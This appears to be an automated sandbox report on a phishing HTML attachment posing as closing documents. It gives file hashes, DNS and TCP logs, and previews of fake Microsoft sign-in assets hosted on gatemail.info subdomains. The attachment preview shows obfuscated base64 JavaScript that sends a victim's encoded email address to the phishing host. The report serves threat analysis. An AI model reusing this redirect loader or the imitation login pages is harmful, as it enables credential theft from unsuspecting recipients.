{var n=screenHeight-$(".footer").height(),t=$('.steps-container').outerHeight(!0)+$('.left-nav h1').outerHeight();$(".screen").css("min-height",(n<t?t:n)+"px"),$(".backgr
ound").css("height",

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (3062), with no line terminators

Category: downloaded

Size (bytes): 3062

Entropy (8bit): 4.871935679701723

Encrypted: false

SSDEEP: 48:sgfXNfNYfjf1pWxZ3fuNfcYfcfQpWuZIf8f9YfTfFpWBZCfCfrYf9f/pWPU:R/N1Yrbox2NEYESNmkFY7Lg0qzYl5OU

MD5: ACFB4D0FAE15C3B6466B29BD8E448ADD

SHA1: 9A6BEFE53180D5A1AE1E5E9F2F4C2643A04B27E9

SHA-256: 7CADCB55EE15557120523880140D411B5624E1A570108D34BA824D4F75FCEAF2

SHA-512: 60C7AB6BDB24DF2D46DBE88F7D9E7D86B103AD8E11E385F75B082992CC28536FD0089C34472B77D56500CC0A220B4B842584CFD3C2C0B26E86F7931D08F1CDC
6

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/embeddedfonts.css

Preview: @font-face{font-family:'SegoeUI-Regular-final';src:url('https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-regular-final.eot') form
at('embedded-opentype');src:url('https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-regular-final.eot?iefix') format('embedded-
opentype'),url('https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-regular-final.woff') format('woff'),url('https://81496c52-
fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-regular-final.ttf') format('truetype'),url('https://81496c52-fa3adaac.gatemail.info/admincenter/a
dmin-pkg/en/css/webfonts/segoeui-regular-final.svg#web') format('svg');font-style:normal;font-weight:normal}@font-face{font-family:'SegoeUI-SemiBold-final';src:url('https
://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-semibold-final.eot') format('embedded-opentype');src:url('https://81496c52-

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 1592

Entropy (8bit): 4.205005284721148

Encrypted: false

SSDEEP: 48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh

MD5: 4E48046CE74F4B89D45037C90576BFAC

SHA1: 4A41B3B51ED787F7B33294202DA72220C7CD2C32

SHA-256: 8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93

SHA-512: B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE90
3CF

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" wi
dth="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-
1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,
11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,
13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.7
16,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.
786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Entropy (8bit): 5.189563716489356

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8FWtkwgRTH1E6RE3S+bkV5g6n:MMHdVBKW/UTuME1kY6

MD5: C29E27E6F486BEA3DCECD4DD032AD388

SHA1: 480D87BFCB00BB2C7737F854EA84508D361A426A

SHA-256: 51BA945E81F1A8931A740A2015A20137603D87EC18689680E1B7770EC998A22A

Chrome Cache Entry: 253

Chrome Cache Entry: 254

Chrome Cache Entry: 255
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SHA-512: 2F37DCCD5F8B01AFC3AD419C3C4E00F62457BF2646230E07526DF43CC96628FBD7C2163D3DB670C9BFF077AF839BC160607E8B9D365769B98B92D63711C89E4
D

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/images/webcontrols.png

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:aae11414-801e-000f-
4edf-59bcad000000.Time:2023-03-18T21:22:44.2099007Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Unicode text, UTF-8 text, with very long lines (32022)

Category: downloaded

Size (bytes): 47818

Entropy (8bit): 5.399911074855889

Encrypted: false

SSDEEP: 768:p2MX5Ofo7y+F1tlfretkaKNa4DRN2ym+d/Px2gT18NK5PMjObnJncFHT/RUbx3SW:bdF1tlfretkaKNa4DRN2ym+d/Px2gT1d

MD5: 08523780863BD16144327E8C47955B30

SHA1: CC3F43DEACDC9AC8D187E0135A9956BBBFE5B73E

SHA-256: 3AE69A65D951F99F2ACE71532CB6B90A83A79BCEB5DBA14F5A869564F514ABD8

SHA-512: 6B7A769F1BDF9F906568CE2EE4880287B2B72DAAE55BC39B84E8C613B02D2E78EAEC302AF3DCBC3181B8F818D7271CA6E7E7845A817DEF6D18D0ED7255C55
C68

Malicious: false

URL: https://d16b5991-fa3adaac.gatemail.info/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_cfi3giy70wfemn6mr5vbma2.js

Preview: !function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,
o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLi
nk_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel=
"Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign 
in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to 
{0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e
.WF_STR_Default_Desc=o.oAppCobrand

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.3004949261534735

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1ek/Qu8c+WVSWg6n:MMHdVBZWyUTMk/N8W0n6

MD5: 5B99318476D048466B51B561BE158810

SHA1: 18F49486A3881E845A7F5E179684C96968C3431F

SHA-256: C2DA25FC72ADED286A5813D65E42D041C39B693CAAE083B21451C7C2D854B596

SHA-512: 838DCB774BE5916E5EDD6D0CC0BC84DDBBDE1AAA6943476C1DB252BC1AF7A3A080D58D13BCD8643FD9DD7DB0457CAD42FA4B0E986C2D55C343CDBB87A9A
A8F49

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/assistancepanel.css

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:671b6fe3-201e-005b-2fdf-5
9f3fa000000.Time:2023-03-18T21:22:15.0085916Z</Message></Error>

File type: HTML document, ASCII text, with CRLF line terminators

Entropy (8bit): 5.5921594924778475

TrID: HyperText Markup Language (15015/1) 55.58%
HyperText Markup Language (12001/1) 44.42%

File name: Encrypted Closing docs and Payoff statements.html

File size: 354

MD5: efcf66d12ae1f08b75733510e69b6d5a

SHA1: ba27c7875d5ed2fb690f5e5d027e0a352ddc2a87

SHA256: d395fbfd2c398c5ae4ab37d84fb8f00a3eab794744a75c3d29d0a175188501a6

Chrome Cache Entry: 256

Chrome Cache Entry: 257

Static File Info

General
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SHA512: 817a91a58e27bce41a96ad477759d6795400558b0bae15f379fc623b70503fdd8668ff0847efa0a251dda360f49de7ab84e434c9ffc5740aa16940ea03ff844e

SSDEEP: 6:h4QW3tkiSqhtQSFMsnERKHCeKHSxrXziATXzhxQii/jmn0YDMOmYO9GqxKnSOewK:hPg6nqhG4XHHCeKyxPi2DIimkVMOfUO6

TLSH: 1AE0C0F72DF00C8E47B1B2B05C52617810E730BE1BC1D8404059D537654530A8ED3692

File Content 
Preview:

<!DOCTYPE html>..<html>..<head>..<script>..var uytrfg = "aHR0cHM6Ly9sbW8uZ2F0ZW1haWw=";var eqdfw = "LmluZm8vP3VzZXJuYW1lPQ==";var cqsds = 
atob(uytrfg) + atob(eqdfw);var qswed = btoa(cqsds);var evon = "cmJvd25AaW5kdXN0cmlhbGludmVzdG1lbnRzLmNvbQ==";..window

Total Packets: 61

• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Mar 18, 2023 22:21:44.399313927 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:44.399372101 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:44.399460077 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:44.399811029 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:44.399874926 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:44.399964094 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:44.400935888 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:44.401004076 CET 443 49705 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:44.401087999 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:44.401530027 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:44.401593924 CET 443 49706 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:44.401680946 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:44.402748108 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:44.402781010 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:44.403043985 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:44.403079033 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:44.403743982 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:44.403785944 CET 443 49705 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:44.408206940 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:44.408263922 CET 443 49706 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:44.650921106 CET 443 49706 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:44.654181004 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:44.670962095 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:44.674674034 CET 443 49705 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:44.691140890 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:44.694081068 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:44.718091011 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:44.791127920 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:45.149585962 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:45.149665117 CET 443 49705 142.250.184.78 192.168.2.3

Network Behavior

Network Port Distribution

TCP Packets
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Mar 18, 2023 22:21:45.149827957 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:45.149888039 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:45.151129961 CET 443 49705 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:45.151283979 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:45.151782990 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:45.151818037 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:45.151904106 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:45.152856112 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:45.152899027 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:45.153029919 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:45.153080940 CET 443 49706 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:45.155975103 CET 443 49705 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:45.156104088 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:45.156233072 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:45.156332970 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:45.156348944 CET 443 49706 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:45.156379938 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:45.156441927 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:45.156455994 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:45.156538010 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:45.291163921 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.104269028 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:46.104327917 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.104377985 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:46.104434967 CET 443 49706 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.104718924 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.104734898 CET 443 49706 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.105490923 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:46.105519056 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.105633020 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.105688095 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.105726004 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.105779886 CET 443 49705 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.106024027 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.106049061 CET 443 49705 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.106200933 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.106240988 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.106332064 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.148345947 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.148351908 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:46.148392916 CET 443 49705 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.150274038 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.150392056 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.150438070 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.150559902 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.150650024 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.162523031 CET 49708 443 192.168.2.3 199.192.31.166

Mar 18, 2023 22:21:46.162580967 CET 443 49708 199.192.31.166 192.168.2.3

Mar 18, 2023 22:21:46.162719965 CET 49708 443 192.168.2.3 199.192.31.166

Mar 18, 2023 22:21:46.165682077 CET 49708 443 192.168.2.3 199.192.31.166

Mar 18, 2023 22:21:46.165714025 CET 49703 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.165723085 CET 443 49708 199.192.31.166 192.168.2.3

Mar 18, 2023 22:21:46.165759087 CET 443 49703 142.250.184.78 192.168.2.3

Mar 18, 2023 22:21:46.172597885 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.173640013 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.173746109 CET 49702 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:46.191215038 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:46.191257954 CET 443 49706 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.196316957 CET 49702 443 192.168.2.3 142.250.180.173

Timestamp Source Port Dest Port Source IP Dest IP
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Mar 18, 2023 22:21:46.196345091 CET 443 49702 142.250.180.173 192.168.2.3

Mar 18, 2023 22:21:46.248913050 CET 49705 443 192.168.2.3 142.250.184.78

Mar 18, 2023 22:21:46.291208982 CET 49706 443 192.168.2.3 142.250.180.173

Mar 18, 2023 22:21:46.525947094 CET 443 49708 199.192.31.166 192.168.2.3

Mar 18, 2023 22:21:46.526649952 CET 49708 443 192.168.2.3 199.192.31.166

Mar 18, 2023 22:21:46.526730061 CET 443 49708 199.192.31.166 192.168.2.3

Mar 18, 2023 22:21:46.528162003 CET 443 49708 199.192.31.166 192.168.2.3

Mar 18, 2023 22:21:46.528249979 CET 49708 443 192.168.2.3 199.192.31.166

Mar 18, 2023 22:21:46.530386925 CET 49708 443 192.168.2.3 199.192.31.166

Mar 18, 2023 22:21:46.530406952 CET 443 49708 199.192.31.166 192.168.2.3

Mar 18, 2023 22:21:46.530560970 CET 443 49708 199.192.31.166 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Mar 18, 2023 22:21:43.982764006 CET 49977 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:21:43.983572006 CET 57840 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:21:44.003456116 CET 53 57840 8.8.8.8 192.168.2.3

Mar 18, 2023 22:21:44.009799957 CET 53 49977 8.8.8.8 192.168.2.3

Mar 18, 2023 22:21:45.877374887 CET 56924 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:21:45.913239956 CET 53 56924 8.8.8.8 192.168.2.3

Mar 18, 2023 22:21:47.130647898 CET 51139 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:21:47.148484945 CET 53 51139 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:02.916244030 CET 60767 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:02.946821928 CET 53 60767 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:04.237190008 CET 53848 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:04.271064997 CET 53 53848 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:04.413014889 CET 57571 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:04.460558891 CET 53 57571 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:04.482153893 CET 58691 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:04.510364056 CET 53 58691 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:09.949476957 CET 52547 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:10.059961081 CET 53 52547 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:16.175456047 CET 57743 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:16.305421114 CET 53 57743 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:16.412806034 CET 61416 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:16.416666985 CET 65196 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:16.444494963 CET 53 65196 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:16.465415955 CET 53 61416 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:26.883136034 CET 52079 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:26.912475109 CET 53 52079 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:44.602600098 CET 49201 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:44.632134914 CET 53 49201 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:46.854878902 CET 60473 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:46.888272047 CET 53 60473 8.8.8.8 192.168.2.3

Mar 18, 2023 22:22:47.181358099 CET 56616 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:22:47.199223042 CET 53 56616 8.8.8.8 192.168.2.3

Mar 18, 2023 22:23:47.252234936 CET 54431 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:23:47.270172119 CET 53 54431 8.8.8.8 192.168.2.3

Mar 18, 2023 22:23:56.216959953 CET 50433 53 192.168.2.3 8.8.8.8

Mar 18, 2023 22:23:56.245628119 CET 53 50433 8.8.8.8 192.168.2.3

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
DNS over
HTTPS

Mar 18, 2023 22:21:43.982764006 
CET

192.168.2.3 8.8.8.8 0xaaf7 Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001) false

Mar 18, 2023 22:21:43.983572006 
CET

192.168.2.3 8.8.8.8 0x7b84 Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001) false

UDP Packets

DNS Queries
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Mar 18, 2023 22:21:45.877374887 
CET

192.168.2.3 8.8.8.8 0xbc64 Standard query 
(0)

lmo.gatemail.info A (IP address) IN (0x0001) false

Mar 18, 2023 22:21:47.130647898 
CET

192.168.2.3 8.8.8.8 0x129c Standard query 
(0)

www.google.com A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:02.916244030 
CET

192.168.2.3 8.8.8.8 0x4945 Standard query 
(0)

e5ab5825-f
a3adaac.ga
temail.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:04.237190008 
CET

192.168.2.3 8.8.8.8 0xbcc8 Standard query 
(0)

d16b5991-f
a3adaac.ga
temail.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:04.413014889 
CET

192.168.2.3 8.8.8.8 0x10d8 Standard query 
(0)

6b939d73-f
a3adaac.ga
temail.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:04.482153893 
CET

192.168.2.3 8.8.8.8 0x24ab Standard query 
(0)

live.gatemail.info A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:09.949476957 
CET

192.168.2.3 8.8.8.8 0x2d9b Standard query 
(0)

b11b496a-f
a3adaac.ga
temail.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:16.175456047 
CET

192.168.2.3 8.8.8.8 0xc06e Standard query 
(0)

81496c52-f
a3adaac.ga
temail.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:16.412806034 
CET

192.168.2.3 8.8.8.8 0xd664 Standard query 
(0)

2650ba1d-f
a3adaac.ga
temail.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:16.416666985 
CET

192.168.2.3 8.8.8.8 0xa4e7 Standard query 
(0)

wwwms.gate
mail.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:26.883136034 
CET

192.168.2.3 8.8.8.8 0xb64d Standard query 
(0)

signup.gat
email.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:44.602600098 
CET

192.168.2.3 8.8.8.8 0x5edb Standard query 
(0)

wwwofc.gat
email.info

A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:46.854878902 
CET

192.168.2.3 8.8.8.8 0xb6b1 Standard query 
(0)

lmo.gatemail.info A (IP address) IN (0x0001) false

Mar 18, 2023 22:22:47.181358099 
CET

192.168.2.3 8.8.8.8 0xc9e8 Standard query 
(0)

www.google.com A (IP address) IN (0x0001) false

Mar 18, 2023 22:23:47.252234936 
CET

192.168.2.3 8.8.8.8 0x9d04 Standard query 
(0)

www.google.com A (IP address) IN (0x0001) false

Mar 18, 2023 22:23:56.216959953 
CET

192.168.2.3 8.8.8.8 0x3bb2 Standard query 
(0)

lmo.gatemail.info A (IP address) IN (0x0001) false

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
DNS over
HTTPS

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
DNS over
HTTPS

Mar 18, 2023 
22:21:44.003456116 
CET

8.8.8.8 192.168.2.3 0x7b84 No error (0) accounts.g
oogle.com

142.250.180.1
73

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:21:44.009799957 
CET

8.8.8.8 192.168.2.3 0xaaf7 No error (0) clients2.g
oogle.com

clients.l.google
.com

CNAME 
(Canonical 
name)

IN 
(0x0001)

false

Mar 18, 2023 
22:21:44.009799957 
CET

8.8.8.8 192.168.2.3 0xaaf7 No error (0) clients.l.
google.com

142.250.184.7
8

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:21:45.913239956 
CET

8.8.8.8 192.168.2.3 0xbc64 No error (0) lmo.gatema
il.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:21:47.148484945 
CET

8.8.8.8 192.168.2.3 0x129c No error (0) www.google
.com

142.251.209.3
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:02.946821928 
CET

8.8.8.8 192.168.2.3 0x4945 No error (0) e5ab5825-f
a3adaac.ga
temail.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:04.271064997 
CET

8.8.8.8 192.168.2.3 0xbcc8 No error (0) d16b5991-f
a3adaac.ga
temail.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:04.460558891 
CET

8.8.8.8 192.168.2.3 0x10d8 No error (0) 6b939d73-f
a3adaac.ga
temail.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:04.510364056 
CET

8.8.8.8 192.168.2.3 0x24ab No error (0) live.gatem
ail.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:10.059961081 
CET

8.8.8.8 192.168.2.3 0x2d9b No error (0) b11b496a-f
a3adaac.ga
temail.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

DNS Answers
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Mar 18, 2023 
22:22:16.305421114 
CET

8.8.8.8 192.168.2.3 0xc06e No error (0) 81496c52-f
a3adaac.ga
temail.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:16.444494963 
CET

8.8.8.8 192.168.2.3 0xa4e7 No error (0) wwwms.gate
mail.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:16.465415955 
CET

8.8.8.8 192.168.2.3 0xd664 No error (0) 2650ba1d-f
a3adaac.ga
temail.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:26.912475109 
CET

8.8.8.8 192.168.2.3 0xb64d No error (0) signup.gat
email.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:44.632134914 
CET

8.8.8.8 192.168.2.3 0x5edb No error (0) wwwofc.gat
email.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:46.888272047 
CET

8.8.8.8 192.168.2.3 0xb6b1 No error (0) lmo.gatema
il.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:22:47.199223042 
CET

8.8.8.8 192.168.2.3 0xc9e8 No error (0) www.google
.com

142.251.209.3
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:23:47.270172119 
CET

8.8.8.8 192.168.2.3 0x9d04 No error (0) www.google
.com

142.251.209.3
6

A (IP address) IN 
(0x0001)

false

Mar 18, 2023 
22:23:56.245628119 
CET

8.8.8.8 192.168.2.3 0x3bb2 No error (0) lmo.gatema
il.info

199.192.31.16
6

A (IP address) IN 
(0x0001)

false

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
DNS over
HTTPS

            
accounts.google.com

            
clients2.google.com

            
lmo.gatemail.info

            
https:

d16b5991-fa3adaac.gatemail.info
live.gatemail.info
b11b496a-fa3adaac.gatemail.info
81496c52-fa3adaac.gatemail.info
signup.gatemail.info
wwwofc.gatemail.info

            
e5ab5825-fa3adaac.gatemail.info

         

• chrome.exe

• chrome.exe

• chrome.exe

HTTP Request Dependency Graph

Statistics

Behavior
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Click to jump to process

Target ID: 0

Start time: 22:21:40

